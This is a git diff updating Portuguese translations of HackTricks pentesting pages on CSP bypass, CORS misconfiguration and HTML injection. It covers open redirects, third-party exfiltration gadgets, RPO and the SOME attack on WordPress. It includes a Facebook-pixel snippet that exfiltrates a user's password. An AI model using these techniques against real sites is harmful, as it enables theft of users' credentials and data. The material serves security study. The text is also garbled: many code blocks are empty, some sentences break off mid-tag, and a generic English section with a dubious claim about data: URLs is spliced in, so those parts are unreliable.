```
+#### Abusando do www.google.com para redirecionamento aberto
+
+A seguinte URL redireciona para example.com (de [aqui](https://www.landh.tech/blog/20240304-google-hack-50000/)):
+```
+https://www.google.com/amp/s/example.com/
+```
+Explorando \*.google.com/script.google.com
+
+É possível abusar do Google Apps Script para receber informações em uma página dentro de script.google.com. Como é [feito neste relatório](https://embracethered.com/blog/posts/2023/google-bard-data-exfiltration/).
+
### Pontos de Terceiros + JSONP
```http
Content-Security-Policy: script-src 'self' https://www.google.com https://www.youtube.com; object-src 'none';
@@ -302,7 +314,7 @@ A mesma vulnerabilidade ocorrerá se o **endpoint confiável contiver um Redirec
### Abusos de Terceiros
-Conforme descrito no [post seguinte](https://sensepost.com/blog/2023/dress-code-the-talk/#bypasses), existem muitos domínios de terceiros que podem ser permitidos em algum lugar no CSP e podem ser abusados para exfiltrar dados ou executar código JavaScript. Alguns desses terceiros são:
+Conforme descrito no [seguinte post](https://sensepost.com/blog/2023/dress-code-the-talk/#bypasses), existem muitos domínios de terceiros que podem ser permitidos em algum lugar no CSP e podem ser abusados para exfiltrar dados ou executar código JavaScript. Alguns desses terceiros são:
| Entidade | Domínio Permitido | Capacidades |
| ------------------ | -------------------------------------------- | ----------- |
@@ -325,22 +337,25 @@ Content-Security-Policy: default-src 'self’ www.facebook.com;
## Introduction
-Content Security Policy (CSP) is a security standard that helps prevent cross-site scripting (XSS), clickjacking, and other code injection attacks by allowing web developers to control the resources that a user agent is allowed to load for a particular page. However, misconfigurations or weaknesses in the CSP implementation can sometimes allow attackers to bypass these security controls.
+Content Security Policy (CSP) is a security standard that helps prevent cross-site scripting (XSS), clickjacking, and other code injection attacks by allowing web developers to control the resources that a user agent is allowed to load for a specific web page. However, in some cases, it is possible to bypass CSP protections using various techniques.
-In this section, we will discuss various techniques that can be used to bypass CSP protections and execute malicious code on a target web application.
+## Bypass Techniques
-## Table of Contents
+### 1. Inline Script Execution
-- [Bypassing CSP with Inline Scripts](bypassing-csp-inline-scripts.md)
-- [Bypassing CSP with External Scripts](bypassing-csp-external-scripts.md)
-- [Bypassing CSP with Inline Styles](bypassing-csp-inline-styles.md)
-- [Bypassing CSP with External Styles](bypassing-csp-external-styles.md)
-- [Bypassing CSP with Nonces](bypassing-csp-nonces.md)
-- [Bypassing CSP with Hashes](bypassing-csp-hashes.md)
+One common way to bypass CSP is by executing inline scripts. By using techniques such as dynamic script injection or event handlers, an attacker can execute arbitrary code within the context of the web page, bypassing CSP restrictions.
+
+### 2. Data: URL
+
+Another technique involves using data: URLs to embed scripts directly into HTML attributes. This allows an attacker to execute scripts without triggering CSP violations, as the scripts are treated as data rather than external resources.
+
+### 3. Unsafe Inline and Eval
+
+Some CSP policies allow 'unsafe-inline' and 'unsafe-eval' directives, which can be exploited by attackers to execute inline scripts and evaluate arbitrary code, respectively. By leveraging these directives, an attacker can bypass CSP protections.
## Conclusion
-Understanding how CSP works and the potential bypass techniques is crucial for web application security professionals. By staying informed about the latest CSP bypass methods, security researchers and developers can better protect their applications from malicious attacks.
+While Content Security Policy is a powerful security mechanism for protecting web applications against various types of attacks, it is important for developers to be aware of potential bypass techniques. By understanding how CSP can be circumvented, developers can implement more robust security measures to safeguard their web applications against malicious actors.
```
Content-Security-Policy: connect-src www.facebook.com;
```
@@ -348,7 +363,7 @@ Deverá ser capaz de exfiltrar dados, da mesma forma como sempre foi feito com [
1. Crie uma conta de desenvolvedor no Facebook aqui.
2. Crie um novo aplicativo "Facebook Login" e selecione "Website".
-3. Vá para "Configurações -> Básico" e obtenha seu "ID do Aplicativo".
+3. Vá para "Configurações -> Básico" e obtenha o seu "ID do Aplicativo".
4. No site alvo de onde deseja exfiltrar dados, você pode exfiltrar dados diretamente usando o gadget do Facebook SDK "fbq" através de um "customEvent" e a carga de dados.
5. Vá para o "Gerenciador de Eventos" do seu aplicativo e selecione o aplicativo que você criou (observe que o gerenciador de eventos pode ser encontrado em uma URL semelhante a esta: https://www.facebook.com/events\_manager2/list/pixel/\[app-id]/test\_events
6. Selecione a aba "Eventos de Teste" para ver os eventos sendo enviados pelo site "seu".
@@ -360,11 +375,11 @@ fbq('trackCustom', 'My-Custom-Event',{
data: "Leaked user password: '"+document.getElementById('user-password').innerText+"'"
});
```
-### Bypass através de RPO (Sobrescrita de Caminho Relativo)
+### Bypass via RPO (Relative Path Overwrite)
-Além da mencionada redireção para contornar restrições de caminho, existe outra técnica chamada Sobrescrita de Caminho Relativo (RPO) que pode ser usada em alguns servidores.
+Além dos redirecionamentos mencionados para contornar restrições de caminho, existe outra técnica chamada Relative Path Overwrite (RPO) que pode ser usada em alguns servidores.
-Por exemplo, se o CSP permitir o caminho `https://example.com/scripts/react/`, ele pode ser contornado da seguinte forma:
+Por exemplo, se CSP permitir o caminho `https://example.com/scripts/react/`, ele pode ser contornado da seguinte forma:
```html
```
@@ -372,13 +387,13 @@ O navegador acabará por carregar `https://example.com/scripts/angular/angular.j
Isso funciona porque, para o navegador, você está carregando um arquivo chamado `..%2fangular%2fangular.js` localizado em `https://example.com/scripts/react/`, o que está em conformidade com CSP.
-Assim, eles irão decodificá-lo, solicitando efetivamente `https://example.com/scripts/react/../angular/angular.js`, o que é equivalente a `https://example.com/scripts/angular/angular.js`.
+Assim, ele irá decodificá-lo, solicitando efetivamente `https://example.com/scripts/react/../angular/angular.js`, o que é equivalente a `https://example.com/scripts/angular/angular.js`.
Ao **explorar essa inconsistência na interpretação de URL entre o navegador e o servidor, as regras de caminho podem ser contornadas**.
A solução é não tratar `%2f` como `/` no lado do servidor, garantindo uma interpretação consistente entre o navegador e o servidor para evitar esse problema.
-Exemplo Online: [ ](https://jsbin.com/werevijewa/edit?html,output)[https://jsbin.com/werevijewa/edit?html,output](https://jsbin.com/werevijewa/edit?html,output)
+Exemplo Online: [https://jsbin.com/werevijewa/edit?html,output](https://jsbin.com/werevijewa/edit?html,output)
### Execução de JS em Iframes
@@ -412,7 +427,7 @@ Este trecho destaca o uso da diretiva `ng-focus` para acionar o evento, empregan
```
Content-Security-Policy: script-src 'self' ajax.googleapis.com; object-src 'none' ;report-uri /Report-parsing-url;
```
-Uma política CSP que lista domínios para carregamento de scripts em uma aplicação Angular JS pode ser contornada através da invocação de funções de retorno e certas classes vulneráveis. Mais informações sobre essa técnica podem ser encontradas em um guia detalhado disponível neste [repositório git](https://github.com/cure53/XSSChallengeWiki/wiki/H5SC-Minichallenge-3:-%22Sh\*t,-it's-CSP!%22).
+Uma política CSP que lista permissões de domínios para carregamento de scripts em uma aplicação Angular JS pode ser contornada através da invocação de funções de retorno e certas classes vulneráveis. Mais informações sobre essa técnica podem ser encontradas em um guia detalhado disponível neste [repositório git](https://github.com/cure53/XSSChallengeWiki/wiki/H5SC-Minichallenge-3:-%22Sh\*t,-it's-CSP!%22).
Cargas de trabalho funcionais:
```html
@@ -454,7 +469,7 @@ Com esse redirecionamento, mesmo que o caminho seja especificado completamente,
Portanto, a melhor solução é garantir que o site não tenha vulnerabilidades de redirecionamento aberto e que não haja domínios que possam ser explorados nas regras do CSP.
-### Contornar CSP com marcação pendente
+### Bypass CSP com marcação pendente
Leia [aqui](../dangling-markup-html-scriptless-injection/) como fazer.
@@ -470,7 +485,7 @@ Você pode contornar esse CSP exfiltrando os dados por meio de imagens (neste ca
```
De: [https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle](https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle)
-Você também pode abusar dessa configuração para **carregar código JavaScript inserido dentro de uma imagem**. Se, por exemplo, a página permitir o carregamento de imagens do Twitter, você poderia **criar** uma **imagem especial**, **carregá-la** no Twitter e abusar do "**unsafe-inline**" para **executar** um código JS (como um XSS regular) que irá **carregar** a **imagem**, **extrair** o **JS** dela e **executá-lo**: [https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/](https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/)
+Também é possível abusar dessa configuração para **carregar código JavaScript inserido dentro de uma imagem**. Por exemplo, se a página permitir o carregamento de imagens do Twitter, você poderia **criar** uma **imagem especial**, **carregá-la** no Twitter e abusar do "**unsafe-inline**" para **executar** um código JS (como um XSS regular) que irá **carregar** a **imagem**, **extrair** o **JS** dela e **executá-lo**: [https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/](https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/)
### Com Service Workers
@@ -502,9 +517,9 @@ Exemplo: [http://portswigger-labs.net/edge\_csp\_injection\_xndhfye721/?x=;\_\&y
### img-src \*; via XSS (iframe) - Ataque de tempo
Observe a falta da diretiva `'unsafe-inline'`\
-Desta vez, você pode fazer a vítima **carregar** uma página sob **seu controle** via **XSS** com um `
";
```
-### Vazamento de Informações com CSP e Iframe
+### Vazando Informações com CSP e Iframe
* Um `iframe` é criado apontando para uma URL (vamos chamá-la de `https://example.redirect.com`) que é permitida pelo CSP.
* Esta URL então redireciona para uma URL secreta (por exemplo, `https://usersecret.example2.com`) que **não é permitida** pelo CSP.
@@ -612,7 +627,7 @@ Outra técnica envolve explorar o próprio CSP para deduzir o subdomínio secret
```markdown
img-src https://chall.secdriven.dev https://doc-1-3213.secdrivencontent.dev https://doc-2-3213.secdrivencontent.dev ... https://doc-17-3213.secdriven.dev
```
-Ao monitorar quais solicitações são bloqueadas ou permitidas pelo CSP, é possível reduzir as possíveis caracteres no subdomínio secreto, eventualmente descobrindo a URL completa.
+Ao monitorar quais solicitações são bloqueadas ou permitidas pelo CSP, é possível reduzir os possíveis caracteres no subdomínio secreto, eventualmente descobrindo a URL completa.
Ambos os métodos exploram as nuances da implementação e comportamento do CSP nos navegadores, demonstrando como políticas aparentemente seguras podem inadvertidamente vazar informações sensíveis.
@@ -651,9 +666,9 @@ setTimeout(function() {
a.document.body.innerHTML = `
`;
}, 1000);
```
-### ALGUNS + 'self' + wordpress
+### SOME + 'self' + wordpress
-ALGUNS é uma técnica que abusa de um XSS (ou XSS altamente limitado) **em um endpoint de uma página** para **abusar** de **outros endpoints da mesma origem.** Isso é feito carregando o endpoint vulnerável de uma página do atacante e, em seguida, atualizando a página do atacante para o endpoint real na mesma origem que você deseja abusar. Dessa forma, o **endpoint vulnerável** pode usar o objeto **`opener`** no **payload** para **acessar o DOM** do **endpoint real a ser abusado**. Para mais informações, consulte:
+SOME é uma técnica que abusa de um XSS (ou XSS altamente limitado) **em um endpoint de uma página** para **abusar** de **outros endpoints da mesma origem.** Isso é feito carregando o endpoint vulnerável de uma página do atacante e depois atualizando a página do atacante para o endpoint real na mesma origem que você deseja abusar. Dessa forma, o **endpoint vulnerável** pode usar o objeto **`opener`** no **payload** para **acessar o DOM** do **endpoint real a ser abusado**. Para mais informações, confira:
{% content-ref url="../xss-cross-site-scripting/some-same-origin-method-execution.md" %}
[some-same-origin-method-execution.md](../xss-cross-site-scripting/some-same-origin-method-execution.md)
@@ -661,12 +676,12 @@ ALGUNS é uma técnica que abusa de um XSS (ou XSS altamente limitado) **em um e
Além disso, o **wordpress** possui um endpoint **JSONP** em `/wp-json/wp/v2/users/1?_jsonp=data` que irá **refletir** os **dados** enviados na saída (com a limitação de apenas letras, números e pontos).
-Um atacante pode abusar desse endpoint para **gerar um ataque ALGUNS** contra o WordPress e **incorporá-lo** dentro de `` observe que esse **script** será **carregado** porque é **permitido por 'self'**. Além disso, e porque o WordPress está instalado, um atacante pode abusar do **ataque ALGUNS** através do **endpoint de retorno** **vulnerável** que **burla o CSP** para conceder mais privilégios a um usuário, instalar um novo plugin...\
-Para mais informações sobre como realizar esse ataque, consulte [https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/](https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/)
+Um atacante pode abusar desse endpoint para **gerar um ataque SOME** contra o WordPress e **incorporá-lo** dentro de `` observe que esse **script** será **carregado** porque é **permitido por 'self'**. Além disso, e porque o WordPress está instalado, um atacante pode abusar do **ataque SOME** através do **endpoint de callback** **vulnerável** que **burla o CSP** para conceder mais privilégios a um usuário, instalar um novo plugin...\
+Para mais informações sobre como realizar esse ataque, confira [https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/](https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/)
-## Bypasses de Exfiltração CSP
+## Bypasses de Exfiltração de CSP
-Se houver um CSP estrito que não permita que você **interaja com servidores externos**, há algumas coisas que você sempre pode fazer para exfiltrar as informações.
+Se houver um CSP restrito que não permita que você **interaja com servidores externos**, há algumas coisas que você sempre pode fazer para exfiltrar as informações.
### Localização
@@ -769,10 +784,10 @@ Fique informado sobre os novos programas de recompensas por bugs lançados e atu
Outras formas de apoiar o HackTricks:
-* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
+* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
-* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
+* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
diff --git a/pentesting-web/cors-bypass.md b/pentesting-web/cors-bypass.md
index 0586ef9cd..979a8a037 100644
--- a/pentesting-web/cors-bypass.md
+++ b/pentesting-web/cors-bypass.md
@@ -6,19 +6,19 @@
Outras maneiras de apoiar o HackTricks:
-* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
-* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
+* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
+* Obtenha o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
-* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
+* **Compartilhe seus truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
## O que é CORS?
-Cross-Origin Resource Sharing (CORS) padrão **permite que servidores definam quem pode acessar seus ativos** e **quais métodos de solicitação HTTP são permitidos** de fontes externas.
+Cross-Origin Resource Sharing (CORS) **permite que servidores definam quem pode acessar seus ativos** e **quais métodos de solicitação HTTP são permitidos** por fontes externas.
-Uma política de **mesma origem** exige que um **servidor solicitante** de um recurso e o servidor que hospeda o **recurso** compartilhem o mesmo protocolo (por exemplo, `http://`), nome de domínio (por exemplo, `internal-web.com`), e **porta** (por exemplo, 80). Sob essa política, apenas páginas da web do mesmo domínio e porta têm permissão para acessar os recursos.
+Uma política de **mesma origem** exige que um **servidor solicitante** de um recurso e o servidor que hospeda o **recurso** compartilhem o mesmo protocolo (por exemplo, `http://`), nome de domínio (por exemplo, `internal-web.com`) e **porta** (por exemplo, 80). Sob essa política, apenas páginas da web do mesmo domínio e porta têm permissão para acessar os recursos.
A aplicação da política de mesma origem no contexto de `http://normal-website.com/example/example.html` é ilustrada da seguinte forma:
@@ -26,10 +26,10 @@ A aplicação da política de mesma origem no contexto de `http://normal-website
| ----------------------------------------- | --------------------------------------- |
| `http://normal-website.com/example/` | Sim: Esquema, domínio e porta idênticos |
| `http://normal-website.com/example2/` | Sim: Esquema, domínio e porta idênticos |
-| `https://normal-website.com/example/` | Não: Esquema e porta diferentes |
-| `http://en.normal-website.com/example/` | Não: Domínio diferente |
-| `http://www.normal-website.com/example/` | Não: Domínio diferente |
-| `http://normal-website.com:8080/example/` | Não: Porta diferente\* |
+| `https://normal-website.com/example/` | Não: Esquema e porta diferentes |
+| `http://en.normal-website.com/example/` | Não: Domínio diferente |
+| `http://www.normal-website.com/example/` | Não: Domínio diferente |
+| `http://normal-website.com:8080/example/` | Não: Porta diferente\* |
\*O Internet Explorer ignora o número da porta na aplicação da política de mesma origem, permitindo assim esse acesso.
@@ -74,9 +74,9 @@ xhr.send('
Arun');
### Compreensão das Solicitações de Pré-voo na Comunicação entre Domínios
-Ao iniciar uma solicitação entre domínios sob condições específicas, como usar um **método HTTP não padrão** (qualquer coisa além de HEAD, GET, POST), introduzir novos **cabeçalhos**, ou empregar um valor especial de **cabeçalho Content-Type**, pode ser necessária uma solicitação de pré-voo. Essa solicitação preliminar, utilizando o método **`OPTIONS`**, serve para informar o servidor sobre as intenções da futura solicitação entre origens, incluindo os métodos e cabeçalhos HTTP que pretende usar.
+Ao iniciar uma solicitação entre domínios sob condições específicas, como usar um **método HTTP não padrão** (qualquer coisa diferente de HEAD, GET, POST), introduzir novos **cabeçalhos**, ou empregar um valor especial de **cabeçalho Content-Type**, pode ser necessária uma solicitação de pré-voo. Essa solicitação preliminar, utilizando o método **`OPTIONS`**, serve para informar o servidor sobre as intenções da futura solicitação entre origens, incluindo os métodos e cabeçalhos HTTP que pretende usar.
-O protocolo de **Compartilhamento de Recursos de Origem Cruzada (CORS)** exige essa verificação de pré-voo para determinar a viabilidade da operação entre origens solicitada, verificando os métodos e cabeçalhos permitidos, e a confiabilidade da origem. Para entender em detalhes quais condições contornam a necessidade de uma solicitação de pré-voo, consulte o guia abrangente fornecido pela [**Mozilla Developer Network (MDN)**](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple\_requests).
+O protocolo de **Compartilhamento de Recursos de Origem Cruzada (CORS)** exige essa verificação de pré-voo para determinar a viabilidade da operação entre origens solicitada, verificando os métodos permitidos, cabeçalhos e a confiabilidade da origem. Para entender em detalhes quais condições contornam a necessidade de uma solicitação de pré-voo, consulte o guia abrangente fornecido pela [**Mozilla Developer Network (MDN)**](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple\_requests).
É crucial observar que a **ausência de uma solicitação de pré-voo não anula a necessidade de a resposta conter cabeçalhos de autorização**. Sem esses cabeçalhos, o navegador fica incapacitado em sua capacidade de processar a resposta da solicitação entre origens.
@@ -100,9 +100,9 @@ Access-Control-Allow-Credentials: true
Access-Control-Max-Age: 240
```
* **`Access-Control-Allow-Headers`**: Este cabeçalho especifica quais cabeçalhos podem ser usados durante a solicitação real. É definido pelo servidor para indicar os cabeçalhos permitidos em solicitações do cliente.
-* **`Access-Control-Expose-Headers`**: Através deste cabeçalho, o servidor informa o cliente sobre quais cabeçalhos podem ser expostos como parte da resposta, além dos cabeçalhos de resposta simples.
+* **`Access-Control-Expose-Headers`**: Através deste cabeçalho, o servidor informa ao cliente sobre quais cabeçalhos podem ser expostos como parte da resposta, além dos cabeçalhos de resposta simples.
* **`Access-Control-Max-Age`**: Este cabeçalho indica por quanto tempo os resultados de uma solicitação pré-voo podem ser armazenados em cache. O servidor define o tempo máximo, em segundos, que as informações retornadas por uma solicitação pré-voo podem ser reutilizadas.
-* **`Access-Control-Request-Headers`**: Usado em solicitações pré-voo, este cabeçalho é definido pelo cliente para informar o servidor sobre quais cabeçalhos HTTP o cliente deseja usar na solicitação real.
+* **`Access-Control-Request-Headers`**: Usado em solicitações pré-voo, este cabeçalho é definido pelo cliente para informar ao servidor sobre quais cabeçalhos HTTP o cliente deseja usar na solicitação real.
* **`Access-Control-Request-Method`**: Este cabeçalho, também usado em solicitações pré-voo, é definido pelo cliente para indicar qual método HTTP será usado na solicitação real.
* **`Origin`**: Este cabeçalho é definido automaticamente pelo navegador e indica a origem da solicitação entre origens. É usado pelo servidor para avaliar se a solicitação recebida deve ser permitida ou negada com base na política CORS.
@@ -128,20 +128,20 @@ Content-Length: 0
{% hint style="warning" %}
Note que o IP linux **0.0.0.0** funciona para **burlar** esses requisitos para acessar o localhost, pois esse endereço IP não é considerado "local".
-Também é possível **burlar os requisitos da Rede Local** se você usar o **endereço IP público de um ponto final local** (como o IP público do roteador). Pois em várias ocasiões, mesmo se o **IP público** estiver sendo acessado, se for **da rede local**, o acesso será concedido.
+Também é possível **burlar os requisitos da Rede Local** se você usar o **endereço IP público de um ponto de extremidade local** (como o IP público do roteador). Pois em várias ocasiões, mesmo se o **IP público** estiver sendo acessado, se for **da rede local**, o acesso será concedido.
{% endhint %}
-## Configurações incorretas exploráveis
+## Configurações mal configuradas exploráveis
-Observou-se que a definição de `Access-Control-Allow-Credentials` como **`true`** é um requisito para a maioria dos **ataques reais**. Essa configuração permite que o navegador envie credenciais e leia a resposta, aumentando a eficácia do ataque. Sem isso, o benefício de fazer com que um navegador emita uma solicitação em vez de fazê-lo por conta própria diminui, pois torna-se inviável aproveitar os cookies de um usuário.
+Foi observado que a definição de `Access-Control-Allow-Credentials` como **`true`** é um requisito para a maioria dos **ataques reais**. Essa configuração permite que o navegador envie credenciais e leia a resposta, aumentando a eficácia do ataque. Sem isso, o benefício de fazer com que um navegador emita uma solicitação em vez de fazê-lo por conta própria diminui, pois torna-se inviável aproveitar os cookies de um usuário.
### Exceção: Explorando a Localização da Rede como Autenticação
-Existe uma exceção em que a localização da rede da vítima atua como uma forma de autenticação. Isso permite que o navegador da vítima seja usado como um proxy, contornando a autenticação baseada em IP para acessar aplicativos de intranet. Este método compartilha semelhanças de impacto com o DNS rebinding, mas é mais simples de explorar.
+Existe uma exceção onde a localização da rede da vítima atua como uma forma de autenticação. Isso permite que o navegador da vítima seja usado como um proxy, contornando a autenticação baseada em IP para acessar aplicativos de intranet. Este método compartilha semelhanças de impacto com o DNS rebinding, mas é mais simples de explorar.
### Reflexão de `Origin` em `Access-Control-Allow-Origin`
-O cenário do mundo real em que o valor do cabeçalho `Origin` é refletido em `Access-Control-Allow-Origin` é teoricamente improvável devido às restrições de combinação desses cabeçalhos. No entanto, desenvolvedores que buscam habilitar o CORS para vários URLs podem gerar dinamicamente o cabeçalho `Access-Control-Allow-Origin` copiando o valor do cabeçalho `Origin`. Essa abordagem pode introduzir vulnerabilidades, especialmente quando um atacante utiliza um domínio com um nome projetado para parecer legítimo, enganando assim a lógica de validação.
+O cenário do mundo real onde o valor do cabeçalho `Origin` é refletido em `Access-Control-Allow-Origin` é teoricamente improvável devido às restrições de combinação desses cabeçalhos. No entanto, desenvolvedores que buscam habilitar o CORS para vários URLs podem gerar dinamicamente o cabeçalho `Access-Control-Allow-Origin` copiando o valor do cabeçalho `Origin`. Essa abordagem pode introduzir vulnerabilidades, especialmente quando um atacante utiliza um domínio com um nome projetado para parecer legítimo, enganando assim a lógica de validação.
```html
```
-### Ataque de namespace HTML
+### Ataque de namespace HTML enganoso 1
Insira uma nova tag com um id dentro do HTML que irá sobrescrever a próxima e com um valor que afetará o fluxo de um script. Neste exemplo, você está selecionando com quem uma informação será compartilhada:
```html
@@ -161,7 +163,7 @@ if (is_public) request.access_mode = AM_PUBLIC; ← Condition always e
```
### Abuso de JSONP
-Se você encontrar uma interface JSONP, você pode ser capaz de chamar uma função arbitrária com dados arbitrários:
+Se você encontrar uma interface JSONP, poderá chamar uma função arbitrária com dados arbitrários:
```html